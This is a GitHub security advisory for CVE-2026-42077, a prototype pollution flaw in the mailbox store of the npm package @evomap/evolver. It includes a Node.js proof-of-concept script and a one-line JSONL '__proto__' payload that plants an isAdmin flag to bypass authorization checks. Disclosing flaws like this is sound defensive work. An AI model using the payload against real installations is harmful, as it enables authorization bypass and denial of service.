GHSA-2CJR-5V3H-V2W4

Vulnerability from github – Published: 2026-04-22 22:05 – Updated: 2026-05-04 19:54
VLAI
Summary
Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations
Details

Summary

A prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the _applyUpdate() and _updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like __proto__, constructor, or prototype.

Details

The vulnerability exists in src/proxy/mailbox/store.js at lines 123 and 145:

// src/proxy/mailbox/store.js:115-128
_applyUpdate(row) {
  if (row._op === 'update') {
    const existing = this._index[row.id];
    // VULNERABLE: Direct Object.assign without key filtering
    if (existing) Object.assign(existing, row.fields);
    else this._index[row.id] = row.fields;
  }
  // ...
}

// src/proxy/mailbox/store.js:138-150
_updateRecord(id, fields) {
  const existing = this._index[id];
  // VULNERABLE: Direct Object.assign without key filtering
  if (existing) Object.assign(existing, fields);
  // ...
}

The vulnerability can be triggered when an attacker has the ability to write to the messages.jsonl file (used for mailbox persistence). By crafting a malicious JSONL entry with __proto__ as a field key, the attacker can pollute the prototype of all objects.

The data flows from: 1. messages.jsonl file → 2. readLines() function (line 47) → 3. _rebuildIndex() (line 113) → _applyUpdate() (line 121) → 4. Object.assign() pollutes prototype

PoC

Prerequisites: - Node.js installed - Access to write to the mailbox messages file

Steps to reproduce:

  1. Create a test file demonstrating the vulnerability:
// test-prototype-pollution.js
const fs = require('fs');
const path = require('path');

// Simulate the vulnerable Store class logic
class VulnerableStore {
  constructor(filePath) {
    this.filePath = filePath;
    this._index = {};
  }

  load() {
    if (!fs.existsSync(this.filePath)) return;
    const lines = fs.readFileSync(this.filePath, 'utf8').split('\n');
    for (const line of lines) {
      if (!line.trim()) continue;
      try {
        const row = JSON.parse(line);
        this._applyUpdate(row);
      } catch (e) {
        // Ignore parse errors
      }
    }
  }

  _applyUpdate(row) {
    if (row._op === 'update') {
      const existing = this._index[row.id];
      // VULNERABLE: No filtering of dangerous keys
      if (existing) Object.assign(existing, row.fields);
      else this._index[row.id] = row.fields;
    }
  }

  update(id, fields) {
    this._updateRecord(id, fields);
  }

  _updateRecord(id, fields) {
    const existing = this._index[id];
    // VULNERABLE: No filtering of dangerous keys
    if (existing) Object.assign(existing, fields);
    else this._index[id] = fields;
  }
}

// Test the vulnerability
console.log('=== Testing Prototype Pollution ===\n');

// Create a malicious messages.jsonl file
const maliciousContent = JSON.stringify({
  _op: 'update',
  id: 'msg-123',
  fields: {
    __proto__: {
      polluted: true,
      isAdmin: true
    },
    normalField: 'normalValue'
  }
}) + '\n';

const testDir = '/tmp/evolver-pollution-test';
if (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });
const testFile = path.join(testDir, 'messages.jsonl');

fs.writeFileSync(testFile, maliciousContent);
console.log('Created malicious messages.jsonl');

// Load the store (this triggers the vulnerability)
const store = new VulnerableStore(testFile);
store.load();

// Check if prototype was polluted
console.log('\n=== Checking for prototype pollution ===');
const testObj = {};
console.log('testObj.polluted:', testObj.polluted);
console.log('testObj.isAdmin:', testObj.isAdmin);

if (testObj.polluted === true) {
  console.log('\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!');
  console.log('All objects now have "polluted" and "isAdmin" properties.');
} else {
  console.log('\n🟡 Prototype pollution may require different payload structure');
}

// Demonstrate impact - bypassing authentication check
console.log('\n=== Impact Demonstration ===');
function checkAdmin(user) {
  // Typical pattern that would be vulnerable
  if (user.isAdmin) {
    return 'Access granted - Admin privileges';
  }
  return 'Access denied';
}

const regularUser = { name: 'normal_user' };
console.log('Regular user check:', checkAdmin(regularUser));

// Cleanup
fs.rmSync(testDir, { recursive: true });
  1. Run the test:
node test-prototype-pollution.js

Expected output:

=== Checking for prototype pollution ===
testObj.polluted: true
testObj.isAdmin: true

🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!
All objects now have "polluted" and "isAdmin" properties.

=== Impact Demonstration ===
Regular user check: Access granted - Admin privileges

Note: Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like constructor.prototype.isAdmin.

Attack scenario: If an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:

{"_op":"update","id":"malicious","fields":{"__proto__":{"isAdmin":true,"canExecuteArbitraryCode":true}}}

Impact

This is a Prototype Pollution vulnerability that can lead to: - Property injection affecting all JavaScript objects - Authentication/authorization bypass - Application logic manipulation - Denial of service via prototype corruption - Potential remote code execution if polluted properties affect security-critical code paths

Attack requirements: The attacker needs write access to the messages.jsonl file. This could be achieved through: - File upload vulnerabilities - Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command) - Compromised backup files - Shared hosting environments

Affected users: Anyone using the mailbox functionality in multi-user environments or with persistent message storage.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@evomap/evolver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.69.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T22:05:28Z",
    "nvd_published_at": "2026-05-04T17:16:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into `Object.prototype`. The vulnerability exists in the `_applyUpdate()` and `_updateRecord()` functions which use `Object.assign()` to merge user-controlled data without filtering dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Details\nThe vulnerability exists in `src/proxy/mailbox/store.js` at lines 123 and 145:\n\n```javascript\n// src/proxy/mailbox/store.js:115-128\n_applyUpdate(row) {\n  if (row._op === \u0027update\u0027) {\n    const existing = this._index[row.id];\n    // VULNERABLE: Direct Object.assign without key filtering\n    if (existing) Object.assign(existing, row.fields);\n    else this._index[row.id] = row.fields;\n  }\n  // ...\n}\n\n// src/proxy/mailbox/store.js:138-150\n_updateRecord(id, fields) {\n  const existing = this._index[id];\n  // VULNERABLE: Direct Object.assign without key filtering\n  if (existing) Object.assign(existing, fields);\n  // ...\n}\n```\n\nThe vulnerability can be triggered when an attacker has the ability to write to the `messages.jsonl` file (used for mailbox persistence). By crafting a malicious JSONL entry with `__proto__` as a field key, the attacker can pollute the prototype of all objects.\n\nThe data flows from:\n1. `messages.jsonl` file \u2192 \n2. `readLines()` function (line 47) \u2192 \n3. `_rebuildIndex()` (line 113) \u2192 `_applyUpdate()` (line 121) \u2192 \n4. `Object.assign()` pollutes prototype\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to write to the mailbox messages file\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-prototype-pollution.js\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\n\n// Simulate the vulnerable Store class logic\nclass VulnerableStore {\n  constructor(filePath) {\n    this.filePath = filePath;\n    this._index = {};\n  }\n\n  load() {\n    if (!fs.existsSync(this.filePath)) return;\n    const lines = fs.readFileSync(this.filePath, \u0027utf8\u0027).split(\u0027\\n\u0027);\n    for (const line of lines) {\n      if (!line.trim()) continue;\n      try {\n        const row = JSON.parse(line);\n        this._applyUpdate(row);\n      } catch (e) {\n        // Ignore parse errors\n      }\n    }\n  }\n\n  _applyUpdate(row) {\n    if (row._op === \u0027update\u0027) {\n      const existing = this._index[row.id];\n      // VULNERABLE: No filtering of dangerous keys\n      if (existing) Object.assign(existing, row.fields);\n      else this._index[row.id] = row.fields;\n    }\n  }\n\n  update(id, fields) {\n    this._updateRecord(id, fields);\n  }\n\n  _updateRecord(id, fields) {\n    const existing = this._index[id];\n    // VULNERABLE: No filtering of dangerous keys\n    if (existing) Object.assign(existing, fields);\n    else this._index[id] = fields;\n  }\n}\n\n// Test the vulnerability\nconsole.log(\u0027=== Testing Prototype Pollution ===\\n\u0027);\n\n// Create a malicious messages.jsonl file\nconst maliciousContent = JSON.stringify({\n  _op: \u0027update\u0027,\n  id: \u0027msg-123\u0027,\n  fields: {\n    __proto__: {\n      polluted: true,\n      isAdmin: true\n    },\n    normalField: \u0027normalValue\u0027\n  }\n}) + \u0027\\n\u0027;\n\nconst testDir = \u0027/tmp/evolver-pollution-test\u0027;\nif (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });\nconst testFile = path.join(testDir, \u0027messages.jsonl\u0027);\n\nfs.writeFileSync(testFile, maliciousContent);\nconsole.log(\u0027Created malicious messages.jsonl\u0027);\n\n// Load the store (this triggers the vulnerability)\nconst store = new VulnerableStore(testFile);\nstore.load();\n\n// Check if prototype was polluted\nconsole.log(\u0027\\n=== Checking for prototype pollution ===\u0027);\nconst testObj = {};\nconsole.log(\u0027testObj.polluted:\u0027, testObj.polluted);\nconsole.log(\u0027testObj.isAdmin:\u0027, testObj.isAdmin);\n\nif (testObj.polluted === true) {\n  console.log(\u0027\\n\ud83d\udd34 VULNERABILITY CONFIRMED: Object prototype was polluted!\u0027);\n  console.log(\u0027All objects now have \"polluted\" and \"isAdmin\" properties.\u0027);\n} else {\n  console.log(\u0027\\n\ud83d\udfe1 Prototype pollution may require different payload structure\u0027);\n}\n\n// Demonstrate impact - bypassing authentication check\nconsole.log(\u0027\\n=== Impact Demonstration ===\u0027);\nfunction checkAdmin(user) {\n  // Typical pattern that would be vulnerable\n  if (user.isAdmin) {\n    return \u0027Access granted - Admin privileges\u0027;\n  }\n  return \u0027Access denied\u0027;\n}\n\nconst regularUser = { name: \u0027normal_user\u0027 };\nconsole.log(\u0027Regular user check:\u0027, checkAdmin(regularUser));\n\n// Cleanup\nfs.rmSync(testDir, { recursive: true });\n```\n\n2. Run the test:\n```bash\nnode test-prototype-pollution.js\n```\n\n**Expected output:**\n```\n=== Checking for prototype pollution ===\ntestObj.polluted: true\ntestObj.isAdmin: true\n\n\ud83d\udd34 VULNERABILITY CONFIRMED: Object prototype was polluted!\nAll objects now have \"polluted\" and \"isAdmin\" properties.\n\n=== Impact Demonstration ===\nRegular user check: Access granted - Admin privileges\n```\n\n**Note:** Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like `constructor.prototype.isAdmin`.\n\n**Attack scenario:**\nIf an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:\n```jsonl\n{\"_op\":\"update\",\"id\":\"malicious\",\"fields\":{\"__proto__\":{\"isAdmin\":true,\"canExecuteArbitraryCode\":true}}}\n```\n\n### Impact\nThis is a **Prototype Pollution** vulnerability that can lead to:\n- Property injection affecting all JavaScript objects\n- Authentication/authorization bypass\n- Application logic manipulation\n- Denial of service via prototype corruption\n- Potential remote code execution if polluted properties affect security-critical code paths\n\n**Attack requirements:** The attacker needs write access to the `messages.jsonl` file. This could be achieved through:\n- File upload vulnerabilities\n- Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command)\n- Compromised backup files\n- Shared hosting environments\n\n**Affected users:** Anyone using the mailbox functionality in multi-user environments or with persistent message storage.",
  "id": "GHSA-2cjr-5v3h-v2w4",
  "modified": "2026-05-04T19:54:38Z",
  "published": "2026-04-22T22:05:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42077"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EvoMap/evolver"
    },
    {
      "type": "WEB",
      "url": "https://github.com/EvoMap/evolver/releases/tag/v1.69.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…